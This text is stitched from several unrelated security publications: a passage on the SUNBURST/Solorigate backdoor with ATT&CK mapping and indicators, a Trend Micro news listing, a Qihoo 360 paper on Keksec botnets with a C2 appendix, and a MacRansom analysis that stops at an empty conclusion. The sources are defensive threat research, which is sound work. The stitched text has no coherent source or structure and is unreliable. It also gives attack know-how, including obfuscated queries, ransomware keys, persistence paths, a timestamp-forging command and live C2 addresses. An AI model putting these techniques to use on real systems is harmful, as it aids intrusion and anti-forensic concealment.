We conducted a comparison of ATT&CK techniques across the mentioned actors, including APT29 and APT41. We compiled 25 techniques and 14 sub-techniques for UNC2452 using MITRE ATT&CK Matrix for Enterprises and techniques mentioned in public reports from FireEye and Microsoft. We then used the MITRE guidance for comparison of groups, and compared UNC2452 ATT&CK techniques against those the MITRE team documented for APT29 and APT41 using ATT&CK Navigator (Appendix). Unfortunately, our analysis surfaced several challenges.
First, there are significant differences in documented ATT&CK techniques between vendors analyzing the same actor group and/or malware. For example, FireEye lists seven techniques and 10 sub-techniques in their report dated December 13, 2020; Microsoft shows four techniques and six sub-techniques for their report dated December 18, 2020.
Second, several techniques for APT29 and APT41 were missing from the ATT&CK groups cataloged by MITRE, appearing to lean towards more recent attacks, such as PowerDuke campaigns. We used MITRE’s maintained list of APT TTPs for initial comparison; however, these appear to have notable gaps even malware techniques and techniques for actor groups attributed to leverage the malware.
Third, there were specific instances where ATT&CK lacked the nuanced matching techniques described by security reporting. For example, within ATT&CK Navigator, several techniques are automatically assigned to tactics, such as T1078 Valid Accounts, which is assigned to Initial Access, Persistence, and Defense Evasion tactics. While Microsoft does cite this technique, they limit its applicability to the Persistence tactic.
Additionally, some techniques gain meaning through both repeated applications and choices of what to encode. A salted FNV-1a hashing algorithm is used in both encoding blacklisted domains and blacklisted processes, corresponding to T1132 Data Encoding. However, the domains hashed with FNV-1a are also used to standardize various components of information in checks prior to downloading the second-stage payload, creating efficiencies for communication as well as obfuscation.
While ATT&CK is a strong framework for mapping adversary TTPs, it is missing elements critical to describe ongoing adversary activity and map that activity to past activity. Vendor publication of ATT&CK techniques without in-line context further reduces applicability to adversary mapping. Historic activity tracking can provide insights into both the existing, and potentially ongoing, SUNBURST/Solorigate campaign and clues to actor motivation and attribution.
### Victim Scope
Victimology, in particular, is notable for UNC2452, as it demonstrates an exacting approach to preserving continuity of operations while prioritizing victims. As reported in a statement from Microsoft President Brad Smith, of approximately 18,000 organizations who received the SolarWinds update containing the backdoor, only 0.2 percent received the second stage, and 40 of those companies, 80 percent of the chosen companies, were located in the United States. According to FireEye, adversary use of domain generation algorithms (DGA) custom to each victim allowed for various organizations to identify organizations beaconing to the backdoor Command-and-Control (C2) server through passive DNS records and cracking the encoded subdomains.
The plurality of victims, according to Microsoft, are information technology companies. While much of the media coverage remains on government and government contractor victims, recent reports of victims from telecommunications providers to healthcare organizations demonstrate targeting beyond traditional espionage targets.
Some victimology can be determined through reversing the DGA used by the Solorigate backdoor. Several organizations, such as the RedDrip Team, Netresec, and Kaspersky published methods for decoding the DGA used by the backdoor for initial C2 communications. Recorded Future collected and combined information gathered from open sources such as Pastebin, passive DNS datasets (pDNS), and others related to encoded subdomains of the SolarWinds Orion backdoor first stage command and control (C2) domain avsvmcloud[.]com, and utilized three DGA decoding scripts. As of December 21, 2020, we have identified some 286 domains.
This output is the result of a small subset of open source data and is not representative of the totality of affected organizations, and is based exclusively on Recorded Future’s visibility at this time via open source datasets. SolarWinds itself has said that roughly 18,000 organizations installed versions of SolarWinds Orion software impacted by SUNBURST, so the list of identified domains by Recorded Future is therefore non-comprehensive. Additionally, an organization’s presence on this list does not necessarily mean that it is the victim of second stage infection or data exfiltration. Specific conditions had to be met for the malware to deploy a second stage. We do not currently have visibility into further exploitation. Not all of the records are complete domains; we have included partial or incomplete domains where we deemed that there was sufficient enough information to make educated guesses or inferences as to which organization the domain or string may reference.
Microsoft noted in its report that the malware checks domains for certain strings prior to execution, but was not able to determine the domains as they were implemented via hashes. Itay Cohen, a security researcher at Checkpoint, identified the strings as FNV-1a hashes, and was able to brute-force reverse them. Cohen noted that many of the strings appear to be SolarWinds internal domain names. In combination with the checks conducted by the malware to look for regular expressions of “solarwinds” and “test,” Cohen posited the attackers gained intimate knowledge of the SolarWinds source code, as well as the network topology and internal development domain names, in order to “minimize the risk that a vigilant employee will notice the anomaly.” Costin Raiu, along with another Kaspersky researcher, cracked the remaining hashes and published the full list of internal domain names. Such care to avoid detection is highly uncommon, and points towards an impressive degree of reconnaissance and focus.
Subsequently, SentinelOne found that SUNBURST also appears to check for certain running processes and exits if these processes are discovered: “SearchConfigurations() is used to identify blacklisted drivers. This is performed through the WMI query – Select * From Win32_SystemDriver, which is obfuscated in the below screenshot as C07NSU0uUdBScCvKz1UIz8wzNooPriwuSc11KcosSy0CAA==. The file name is obtained for each driver, and if this driver is found in the blacklist, this method will return true. As mentioned before, returning true causes the malware to break out of the Update() loop prior to initiating the true backdoor code.” Among the blacklisted processes are a number of digital forensics and endpoint detection and response tools. A full list of the drivers can be found on the SentinelOne blog. Similar to the Microsoft revelation of blacklisted domains, this care to avoid endpoint detection again highlights the cautiousness of the actors.
Additionally, analysis is needed on the list of SUNBURST blacklisted processes. The full list was cracked by several open source researchers. A public Google Sheet was compiled by Royce Willams and the Hashcat team. The list of blacklisted processes is not comprehensive of all common endpoint or antivirus vendors; further analysis is required to understand why the malware authors focused on certain endpoint software to blacklist.
### Time
A unique feature of the Solorigate backdoor is the timestamp check that the last write time for the DLL was 12-14 days prior. Even among unique malware samples, this duration is atypical. MITRE ATT&CK lists a few attackers leveraging this technique, and none approaching this level of time, but this may be due to incomplete documentation within ATT&CK, as mentioned above. In addition to evasion, the time-based evasion appears to be more related to avoiding detection by SolarWinds staff rather than analysis through virtualization/sandbox analysis.
In a broader examination, the campaign appears to have breached SolarWinds in the fall of 2019 and made non-malicious changes to code. These changes amounted to a dry-run of the primary infection which would occur around March 2020. Additionally, the actors inflated the size of the targeted DLL file from 500k to 900k, which may have triggered detection rules for the file, but investigations would have turned up no malicious code. When infected code was added in February/March 2020, the size increase was minimal. Time to conduct these preparatory actions over the course of months shows a level of discipline and patience seen primarily in intelligence collection operations.
### Historic Indicators
Multiple indicators have been shared by FireEye and in other vendor reports. While a number of these indicators are novel to this attack, Recorded Future does have historic references to some of these indicators. Recorded Future sees historic collection on three domains from this report:
- The domain freescanonline[.]com was first seen in a ReversingLabs scan on November 28, 2017, associated with the following SHA256 hash: 21bab0d279d15a548a84a9d9eed34575b2dc9072cc36ebfe7b517850eea92756.
- The domain also appeared in an additional ReversingLabs scan on October 13, 2019, associated with the SHA256 hash: c5864330c247e2cd2a98d69b852e42f59a16d9613a6536c8b0b25e16c934533d.
- The domain highdatabase[.]com appears publicly on a public Pastebin site with the title “NII GSOC Advisory,” posted December 10, 2020.
Of 10 IP addresses noted in the FireEye report, only three were previously linked to malicious activity.
- 13[.]59[.]205[.]66 first appeared on Pastebin in February 6, 2018, and then appeared as a malicious host by a URLScan listing on April 23, 2019.
- 139[.]99[.]115[.]204 was mentioned in two URLScan results dating back to June 2019. In December 2019, this IP address was mentioned in a report by NAO_sec, associated with a tool they named Bottle Exploit Kit, targeting Japan, and associated with the domain sales[.]inteleksys[.]com.
- 167[.]114[.]213[.]199 previously listed on the Bambenek list as a DGA domain destination. Additionally, Recorded Future’s Predictive IP Risk Rule triggered for this IP days prior to announcements of the SolarWinds incident.
In addition to the techniques mentioned by FireEye, in its report dubbing the backdoor “Solorigate,” Microsoft attributed five additional techniques and one sub-technique to the campaign:
**Execution**
- T1072 Software Deployment Tools
**Command and Control**
- T1071.004 Application Layer Protocol: DNS
- T1132 Data Encoding
**Defense Evasion**
- T1480.001 Execution Guardrails: Environmental Keying
- T1562.001 Impair Defenses: Disable or Modify Tools
**Collection**
- T1005 Data From Local System
DomainTools has published two blogs approaching the topic from the perspective of publicly available DNS records. In addition to documenting the DNS records published by FireEye, they also published additional domains used for the delivery of the second-stage payload.
### About Recorded Future
Recorded Future arms security teams with the only complete security intelligence solution powered by patented machine learning to lower risk. Our technology automatically collects and analyzes information from an unrivaled breadth of sources and provides invaluable context in real time and packaged for human analysis or integration with security technologies.
|
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
*Latest News May 25, 2022*
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
*Security Strategies May 12, 2022*
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
*Security Strategies May 10, 2022*
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
*Research May 19, 2022*
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
*April 27, 2022*
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
*Security Strategies May 17, 2022*
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
*Research May 25, 2022*
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
*Research May 16, 2022*
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
*Research May 18, 2022*
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
*May 24, 2022*
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
*Research May 09, 2022*
|
# The Keksec Botnets We Observed in the Past Year
**Ye Jin & Lingming Tu**
Qihoo 360, China
[email protected]
[email protected]
## Abstract
The Keksec group was created in 2016 by a number of experienced botnet actors. They kept silent for a period of time in 2020 and resumed activity after August 2020 with nearly 20 botnet campaigns detected by us. In this paper, we will study those campaigns in detail in terms of samples, exploits, and C2 servers. Our analysis depicts the big picture of Keksec botnets since August 2020, and we believe that it will help defenders to better detect and mitigate against future botnet threats from Keksec and other similar groups.
## 1. Introduction
We have seen a rapid proliferation of Linux malware/botnets in recent years. While it’s not uncommon to find that many of them were created by script kiddies using easily obtained malware kits (e.g., Mirai and Gafgyt source code), according to our data, over 50% of them were created by a relatively small number of professional actors who have persistence in operating Linux botnets. Compared with script kiddies, they usually have more resources and are more skillful, and are thus worthy of more attention.
The Keksec group is just one such threat actor. It became well known for building the Necro/Freakout botnet early this year. Further digging shows that it has a long history of running DDoS botnets, with the first one traced back to 2016. Interestingly, the members of the Keksec group were very open in showing off their attacking activities. For example, they used to publicize their invasions to a public billboard on social media. They also created an open directory in pastebin.com to hold their source and attack tools. The ease of accessing this information has helped us summarize the high-profile group as follows:
- Keksec group was built in 2016 by a few experienced botnet actors.
- They preferred DDoS and miner types of botnets.
- They had a rich set of popular botnet kits targeting both Windows and Linux machines.
For reasons unknown to us, the group kept silent for a period in 2020. Our data shows that their hacking activities were not resumed until August 2020. We detected nearly 20 botnet campaigns after that time. Detailed studies have been carried out on the collected data in terms of samples, exploits, and C2 servers. With the help of passive DNS, we obtained interesting results, which make us believe that it is possible to depict the big picture of Keksec botnets since August 2020.
The remainder of this paper is organized as follows: in Section 2, we summarize the nearly 20 campaigns we detected since August 2020; in Sections 3, 4, and 5, we analyze those campaigns separately in terms of exploits, malware families, and operations. To summarize, the contributions of this paper are as follows:
- We analyze how the Keksec group exploited a large number of vulnerabilities to attack both Linux and Windows machines, especially how they quickly used some 1-day exploits.
- We summarize the three major botnet families that have been heavily used by Keksec.
- We demonstrate their techniques in terms of code reuse, IRC protocol, DGA, and Tor.
- We deduce the sample delivering and updating patterns.
- Plenty of C2 infrastructure was owned by this group.
The C2 infrastructures we found are given in the Appendix.
## 2. Campaigns
We analyzed the historical activities of Keksec by combing the attack activities from August 2020 to the present, starting with samples and exploits. First, we summarized the corresponding YARA rules by analyzing the historical samples and scanned back through the sample database to find the hit samples. Then we grouped them by sample similarity clustering and, using manual inspection, removed the false positive samples that clearly did not belong to Keksec, leaving about 5,000. We use this as a seed to expand the sample set through our own threat intelligence mining system, correlating queries on capture time, exploit, and some other relevant attributes. In the past year, we captured a total of 23 exploits, 5,564 samples, and three malware families (ignoring variant classification).
We use these data as a basis to comb through Keksec’s historical attack activity. We generated a chart showing chronicled Keksec attacks. We can see that Keksec launched scans and attacks on targets across the network almost non-stop. Our honeypots see new variants and exploits all the time, with the exception of some occasional breaks. When a new exploit is introduced, the scans increase significantly.
The year-long attack campaign can be divided into two phases; high-frequency attacks are maintained until December 2020 and resumed in January 2021, when Keksec starts spreading the brand new malware family Necro.
## 3. Exploits
Keksec launches two types of scanning attacks, one using a dedicated scanning server, and the other using the sample’s built-in scanning capabilities. We do not distinguish between these two scanning methods and only focus on the scan payload information for statistics.
We counted the new exploits and the corresponding propagated families in chronological order.
| First Seen | Exploit (CVE) | Exposure Time | Target Device / Software | Family |
|------------|----------------|----------------|--------------------------|--------|
| 2020.8.26 | | | Realtek | Tsunami |
| 2020.9.3 | | | Realtek | Gafgyt |
| 2020.9.20 | | | Huawei_Router | Gafgyt |
| 2020.9.25 | | | Avtech_Camera_RCE | Gafgyt |
| 2020.10.21 | | | ThinkPHP_RCE | Gafgyt |
| 2020.11.2 | | | JAWS_DVR_RCE | Gafgyt |
| 2020.11.11 | | | ZTE_Router_RCE | Gafgyt |
| 2020.11.19 | | | yarn_api | Gafgyt |
| 2020.11.19 | | | Avtech_IP_Camera_ACI | Gafgyt |
| 2020.11.24 | | | Zyxel_VIEWLOG_RCE | Gafgyt |
| 2020.11.26 | CVE-2020-7961 | 2020.7 | Liferay Portal | Necro |
| 2021.1.8 | CVE-2020-35665 | 2020.12.23 | TerraMaster | Necro |
| 2021.1.8 | CVE-2021-3007 | 2021.1.3 | Zend Framework | Necro |
| 2021.3.10 | | | WebLogic RCE | Necro |
| 2021.3.20 | CVE-2021-21972 | 2021.2.27 | VMware_vCenterServer | Necro |
| 2021.3.23 | | | SonicWALL_XMLRPC_settimeconfig_RCE | Gafgyt |
| 2021.4.26 | | | F5_iControl_mgmt_RCE | Gafgyt |
| 2021.5.1 | | | VestaCP | Necro |
| 2021.5.1 | | | SCO Openserver | Necro |
| 2021.5.1 | | | Genexis PLATINUM | Necro |
| 2021.5.1 | | | OTRS 6.0.1 | Necro |
| 2021.5.1 | | | Unknown (Nrdh.php) | Necro |
Comparing the point in time when the new exploit was added and the POC exposure time, we can see that Keksec’s utilization of 1-days is very fast. Especially after the start of Necro propagation, the attack activity can often be seen within two to three days of POC exposure.
## 4. Malware Families
Keksec developed several families of malicious programs across Windows and Linux systems, involving PC, server, and multiple IoT platforms, and created a complicated botnet platform. Here are some breakdowns:
- Linux-based: Tsunami (Capsaicion, Ziggy), Gafgyt (LULzbOT, Oreo, Gafgyt_tor)
- Windows-based: DarkIRC (AutoIt packed), DarkHTTP (AutoIt packed)
- Developed in Python to target dual systems: Necro
- From open-sourced projects: Rootkit, Miner, JS Bot
Keksec actively maintains three main families, Gafgyt, Tsunami, and Necro, with new features constantly being added. While Necro’s framework is developed by Keksec itself, the threat group inherits the other two families from open-source code. Our analysis shows that Keksec has extraordinarily strong code management capabilities, using open-source or leaked code to develop different variants extensively, which leads to variant chaos. For example, Freak, a key member of Keksec, developed and open-sourced two Tsunami (a.k.a. Kaiten, a long-established IRC botnet family) variants of Capsaicion and Ziggy Redo. However, we found some Tsunami samples that mix codes of both Capsaicion and Ziggy.
The same sort of chaos also exists in Gafgyt variants including LulZBoT, Oreo, bigB04t, and Simps. Some variants even reuse Tsunami code. As for Necro, the purely Python developed family not only reuses the IRC protocol for C2 communication but also borrows many key features from open-source projects. Due to that complication, we do not follow the naming of Keksec to classify the variants but break down their samples into the three main families of Gafgyt, Tsunami, and Necro to summarize and analyze the technical points and design ideas they share.
### Scanners
The scanners used by Keksec are mainly telnet and SSH weak password scan and exploit scan.
**Telnet scan**
The telnet weak password scan of the open-source version of Tsunami uses a function called BurnTheJews. In the captured sample, we found that Keksec uses a function called ak47telscan. The two sets of code algorithms are almost identical, only the standard output section has any difference. The sample first detects if the device supports raw sockets, and if it does, it uses Mirai’s telnet scan code, scanner_init. If it doesn’t support raw sockets, ak47telscan will be used. In fact, the ak47telscan function is also from publicly available source, not created by Keksec.
**SSH scan**
The SSH weak password scan is done by the Necro botnet. Necro first tries to install the paramiko library on the device, and if it succeeds, it adds port 22 to the list of scanned ports, and if it fails to install the library, it just gives up the 22 scan.
**Exploit scan**
All samples contain an exploit scan. In Tsunami and Gafgyt, the exploit scan is placed in ak47scan. There is scanning code for Huawei and Realtek devices. According to our observation and analysis, Keksec does not have 0-day discovery capabilities, so most of the POC codes are publicly available. If the POC is implemented in C, it can be integrated into Tsunami and Gafgyt with simple modifications, and if the POC code is implemented in Python, it can be integrated into the Necro family. In some individual variants, the number of exploits implemented can go up to dozens.
The three more popular exploits integrated by Necro can be seen in the following:
1. TerraMaster RCE: CVE-2020-28188
2. VMware vCenter Server RCE: CVE-2021-21972
3. WebLogic RCE: CVE-2020-14882
### Sniffer
Packet sniffing is one of the more favored features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
We can see that the data is reported on the same port 1337, and since Necro also uses the IRC protocol, we can see that Necro may share the same C2 as Tsunami. Although we did not analyze DarkIRC in depth, it is easy to see that Keksec wants to build a botnet management platform based on the IRC protocol that can infect all architectures and operating systems and can act as a unified management platform for botnet management.
### Disguising processes
**Change process name**
A very traditional technique on Linux systems is to use random strings to override argv parameters and prctl(PR_SET_NAME, buf) to change the process name and start parameters in order to disguise the process.
**Use of rootkit to hide process**
The open-source project r77 rootkit is used directly on Windows systems. It is a ring3 layer rootkit that intercepts and filters information about the target process by globally hooking some functions of ntdll.dll. Necro first downloads the corresponding version of the rootkit file, which is dynamically loaded and run directly in memory by process injection.
**Process injection**
Necro uses process injection to load the rootkit by wrapping the dll file into a shellcode and then injecting the whole shellcode into the process memory; the loading of the rootkit is done by the shellcode, which comes from an open-source project on GitHub named RDI.
### DGA
In its historical versions, Necro used DGA to evade C2 interception. The relevant algorithm is described below.
**Random**
The first algorithm is a purely random one that picks 16 characters at random from a custom alphabet to generate a C2 domain name with the top-level domain ‘xyz’. Because the seed of the random algorithm is fixed 0-3, the random number generated has a stable result.
**DDNS + random**
The second algorithm is based on the DDNS service, and the random algorithm picks 10 to 19 characters randomly from a custom alphabet. This method is cheaper and more flexible.
### Tor
We found Tor proxy being used to communicate with the C2 in both Gafgyt and Necro.
**Gafgyt**
In Gafgyt, Tor proxy is used to talk to the C2 through a built-in proxy list. Up to 173 proxy IPs can be used for a single sample. A communication is established by randomly selecting one from the list of candidate proxies and if successful, a connection to the onion C2 will follow.
**Necro**
Necro also uses Tor proxy to reach an onion C2, and IRC protocol is used for the C2 communication.
### Obfuscation and packer
**UPX**
Most of the Gafgyt and Tsunami samples we captured were not packed and had no stripped symbolic information, while a few of the packed samples used the standard UPX shell, which can be removed directly using open-source tools. The unpacked samples were also not stripped.
**String encoding**
Gafgyt and Tsunami samples encrypt sensitive strings (such as C2 addresses) with a simple mapping algorithm, and encrypt them with the decode function when using strings. This algorithm is also not developed by Keksec; it is used by a Tsunami variant called ziggystartux. In the early variants of Keksec, this code table was identical to the one in the original ziggystartux code.
Necro also cryptographically protects the string by first performing character substitution and then doing zip compression.
### Polymorphic engine
Necro uses a Python source code obfuscation technique exposed in 2015, referred to by Keksec as ‘polymorph engine’, and this algorithm is updated and improved during Necro upgrades. So far we have observed two versions of polymorphic morphing.
The old version uses a random string to replace a predefined list of key object names. The new version uses Python’s own AST library to dynamically traverse and replace the global objects with random strings. As we can see, there is no need to manually filter the object names, and the strings can automatically be traversed and encrypted.
### C2 protocol
Keksec’s malware mainly uses Gafgyt and IRC protocols to send commands.
**Gafgyt**
This protocol is mainly used by the Gafgyt variant. Interestingly, the commands in the sample are encrypted using the encode function. After receiving the instructions, the local instructions need to be decrypted and then parsed.
**IRC**
The IRC protocol is the most widely used protocol in Keksec, and is supported by the Tsunami, Necro, and DarkIRC families. This means that only one C2 system needs to be developed and maintained to control all families.
### Spread
Keksec attacks the target device mainly through exploits, so the network-wide vulnerability scan is its main means of spreading malicious samples, while the worm-like propagation through the infected device is also an important function of the malware. In addition to this, there are some horizontal propagation methods.
**Infect page**
We found that Necro can infect web files (.js, .html, .htm, .php) on the target device. After receiving the infection command, it inserts a JS code into the file. Campaign.js is a highly obfuscated code which, after decoding, is a JavaScript-based trojan (Cloud9).
**SMB scan**
Necro added the SMB scan code in one of its versions to achieve the function of horizontal propagation in the intranet. Perhaps the actual effect was not satisfactory, as this feature was removed in subsequent versions.
### Others
Keksec not only enriches its functionality with a lot of references to third-party code but also delivers the complete open-source project directly to the target device to complete the corresponding functionality.
**JS Bot**
Necro’s goal in infecting web files is to spread JS Bot (Cloud9). The bot is loaded when the user accesses an infected page through a browser. The bot is very feature-rich, recording keyboard information, stealing forms, clipboards, cookies, and other data, faking web access behavior, and launching HTTP DDoS attacks through the browser.
**Miner**
Keksec also contains the popular mining function, which is not deeply integrated into the bot but directly implemented by releasing a third-party miner program. Most of the samples are after Monroe coins; occasionally, we see some other coins, such as XTZ coins. Checking the relevant wallet addresses, we found that the returns are not ideal.
Through the above technical analysis points, we can summarize the characteristics of the relevant families into the following table.
| Feature\FN | Necro | Tsunami | Gafgyt |
|------------|-------|---------|--------|
| IRC | * | * | * |
| Tor | * | * | * |
| String encode | * | * | * |
| Polymorphic | * | | |
| UPX | * | * | * |
| Not stripped | * | * | * |
| DGA | * | | |
| DGA+DDNS | * | | |
| Sniffer | * | * | * |
| Ak47Scan | * | * | * |
| Telnet scan | * | * | * |
| SSH scan | * | | |
| Exploit scan | * | * | * |
| SMB scan | * | | |
We can see that Necro has the most comprehensive functions and features, but Keksec is still maintaining and developing Tsunami and Gafgyt. We suspect that Necro relies on the Python runtime environment and some low-power devices do not support Python. In order to cover more platforms, the botmaster has to operate multiple families of botnet at the same time.
## 5. Operations
### Delivery
We counted the number of new samples captured by day starting from August 2020. We can see a significant increase in the number of samples over the last year. This is not simply a repetitive propagation of the same samples, as the code is adjusted almost on a daily basis – sometimes several upgraded samples can be captured in one day. This indicates that the Keksec group has sufficient manpower and resources and is becoming increasingly active.
### Infrastructure
We collected the x86 and x64 samples of the Tsunami and Gafgyt families, extracted the C2 information, and looked at the history of their C2 activity. By correlating the domain name resolution records of C2 IP addresses in 2020 through PDNS, we can get two key domain names, gxbrowser.net and cnc.c25e6559668942.xyz. Most of the IPs have resolution association with these two domain names. From 2021 onwards, Keksec drops the use of these two domains in favor of the Tor network and DGA domains.
Using the above graphical information, we find a clear pattern of activity:
1. Each C2 IP survival cycle varies from one month to three months.
2. The preference is to use IP resources in the same network segment within the same cycle.
3. The deployment of C2s used domain names and IPs until March 2021, then shifted to using Tor proxies from March onwards.
4. After Tor is introduced, the onion C2 domains get updated at high frequency, for example, 10 onion domains were used in March alone.
### Family reuse statistic
We also found some patterns when tracking the delivery of the samples.
1. The Tsunami sample appeared in mid-August 2020 and was active for a short period of time.
2. The Gafgyt sample was active intermittently from September to December 2020.
3. A malicious family named Necro suddenly appeared in January 2021.
4. From early to mid-February 2021, first the Tsunami sample resumed propagation, then Gafgyt, followed by Gafgyt_tor.
5. There are many similarities between the Gafgyt_tor variant and the previously captured Gafgyt sample, with code that is clearly homologous.
Each family is constantly switching between development and propagation cycles. In the development cycle, a large range of improvements are made to the samples. This ‘change-as-you-distribute’ approach is used to continuously improve botnet functionality, resulting in a large number of different samples being distributed in a short period of time.
## 6. Conclusions
Keksec is trying to make profit from DDoS, mining, stealing user information, and selling malware. Through long-term tracking, we can see that DDoS attack activity is the most prominent, which is probably its biggest source of revenue. However, Keksec has not given up on other means and has kept expanding into new directions. It seems to be a highly organized, productive, and aggressive group. Although it has no 0-day discovery capabilities, its strong code integration and bot operations make it a serious hacking group. We will continue to keep an eye on it.
## References
1. https://blog.netlab.360.com/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/.
2. https://pastebin.com/XUBLGuFT.
3. https://pastebin.com/HMD7z6FR.
4. https://github.com/adithyan-ak/MS17-010-Manual-Exploit/blob/9b7b0ea5434bca066612f8fc84112a1b84a9507a/42315.py.
5. https://github.com/Antonio24/Cloud9/blob/master/.
## Appendix: Keksec C2s
- 107.174.133.119
- 107.175.31.130
- 143.198.120.58
- 185.10.68.175
- 192.210.163.201
- 193.239.147.211
- 193.239.147.224
- 198.144.190.116
- 198.144.190.5
- 23.94.190.101
- 45.145.185.221
- 45.145.185.229
- 45.145.185.83
- 45.153.203.124
- 5.253.84.197
- 55pnros74tawlmqn.onion
- 70.66.139.68
- 83.97.20.90
- 84.16.79.130
- b4bzpyrhc65airpg.onion
- cjoy2cks2bhtyibj.onion
- dimumdjenyy4jwlc.onion
- faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion
- fpv4a2q6wqxx7jdh.onion
- fxiiouorymolxsqcjltq2mqaz3il5uqs3ynlabh5onfw3irbqltot6ad.onion
- ks5wtmd7bbuybajg.onion
- tzfue66fa5khu44z.onion
- wvp3te7pkfczmnnl.onion
|
# MacRansom: Offered as Ransomware as a Service
Many Mac OS users might assume that their computer is exempt from things like ransomware attacks and think that their system is somehow essentially “secure.” It is true that it’s less likely for a Mac OS user to be attacked or infected by malware than a Windows user, but this has nothing to do with the level of vulnerability in the operating system. It is largely caused by the fact that over 90% of personal computers run on Microsoft Windows and only around 6% on Apple Mac OS.
## MacRansom Portal
Recently, FortiGuard Labs discovered a Ransomware-as-a-Service (RaaS) that uses a web portal hosted in a TOR network. It was interesting to see cybercriminals attack an operating system other than Windows, marking potentially the first time RaaS targets Mac OS.
This MacRansom variant is not readily available through the portal. It is necessary to contact the author directly to build the ransomware. Initially, it seemed like a scam since there was no sample, but after emailing the author, we unexpectedly received a response.
On our first email inquiring about the ransomware, we stated our requirements outlined by the author, such as the bitcoin amount for the target to pay, the date when to trigger the ransomware, and if it was to be executable when someone plugs a USB drive. We sent the email around 11 AM (GMT+8) and received the first response around 9 PM that same day.
**Response 1 (9 PM):** Agreeing on June 1st as the trigger date, and giving my bitcoin address, the author gladly sent the sample.
**Response 2 (11 AM):** Since the author replied quite promptly, we tried to dig deeper by asking more about the ransomware.
**Response 3 (12 AM):** Observing the time of the responses gave us a hint that the author might be in a different time zone since the reply came back late at night (which could be morning for them). The author mentioned “June 1st midnight on your local time,” indicating they noticed the time difference.
To verify the geolocation of the malware author(s), we examined the original SMTP header and found that their time zone is GMT – 4.
## Behavioral Analysis
Next, we began to examine the malware itself. Below are the features that the author claimed for the ransomware. We looked at the code to see if it conformed with these features.
Running the MacRansom sample, a prompt showed up stating the program is from an unidentified developer. As long as users don’t open suspicious files from unknown developers, they are safe. Clicking Open gives permission for the ransomware to run.
The first thing the ransomware does is check if the sample is being run in a non-Mac environment or if it is being debugged. If these conditions are not met, the ransomware terminates. It calls the ptrace or process trace command with the argument PT_DENY_ATTACH to check if the ransomware is attached to a debugger.
Second, by using the sysctl hw.model command, it checks the machine model and compares it to the “Mac” string. Lastly, it checks if the machine has two CPUs.
## Launch Point
Once it has passed its initial checks, the ransomware creates a launch point in `~/Library/LaunchAgents/com.apple.finder.plist`. The filename intentionally imitates a legitimate file in Mac OS to lessen suspicion of malicious activities. This launch point allows MacRansom to run at every startup and ensures that it encrypts at the specified trigger time.
The original executable is then copied to `~/Library/.FS_Store`. The filename is very similar to a legitimate file. After the file is copied, the time date stamp is changed using the command `touch -ct 201606071012 '%s'`. This manipulation of the time date stamp is commonly used to confuse investigators in digital forensics. The ransomware then uses launchctl to load the created `com.apple.finder.plist`.
## Encryption
The encryption has a trigger time, set by the author. In our case, it was June 1st, 2017, at 12 AM. The ransomware terminates if the date is before this.
If the trigger time is met, the ransomware starts to enumerate the targeted files using an unusual method for ransomware, but it is still effective since most ransomware traverses directories and includes a list of targeted extensions to encrypt. The ransomware only encrypts a maximum of 128 files.
As with other crypto-ransomware, the encryption algorithm is the core component that we spent most of our analysis time on. Our goal was to find any RSA-crypto routine; however, this piece of crypto-ransomware is not as sophisticated as other OSX crypto-ransomware previously disclosed. It uses symmetric encryption with a hardcoded key to hijack the victim’s files. There are two sets of symmetric keys used by the ransomware:
- **ReadmeKey:** 0x3127DE5F0F9BA796
- **TargetFileKey:** 0x39A622DDB50B49E9
The ReadmeKey is used to decrypt the `._README_` file that contains the ransom notes and instructions, while the TargetFileKey is used to encrypt and decrypt the victim’s files. A notable observation during reverse-engineering the encryption/decryption algorithm is that the TargetFileKey is permuted with a randomly generated number. Once the malware has terminated, the encrypted files can no longer be decrypted as the TargetFileKey will be freed from the program’s memory, making it challenging to create a decryptor or recovery tool. Moreover, it doesn’t communicate with any C&C server for the TargetFileKey, meaning there is no readily available copy of the key to decrypt the files.
However, it is technically possible to recover the TargetFileKey using a brute-force attack. It should not take long for a modern CPU to brute-force an 8-byte long key when the same key is used to encrypt known files with predictable contents.
We remain skeptical of the author’s claim to be able to decrypt the hijacked files, even if victims send the author an unknown random file.
Pseudo code for the encryption process is as follows:
After successfully encrypting the targeted files, it encrypts both `com.apple.finder.plist` and the original executable. It changes the Time Date Stamp and then deletes them. This is done to ensure that even if recovery tools are used to retrieve the ransomware artifacts, the files will be nearly meaningless.
The ransomware demands 0.25 bitcoin (around USD ~700) and requires the victim to contact [email protected] for decryption.
## Conclusion
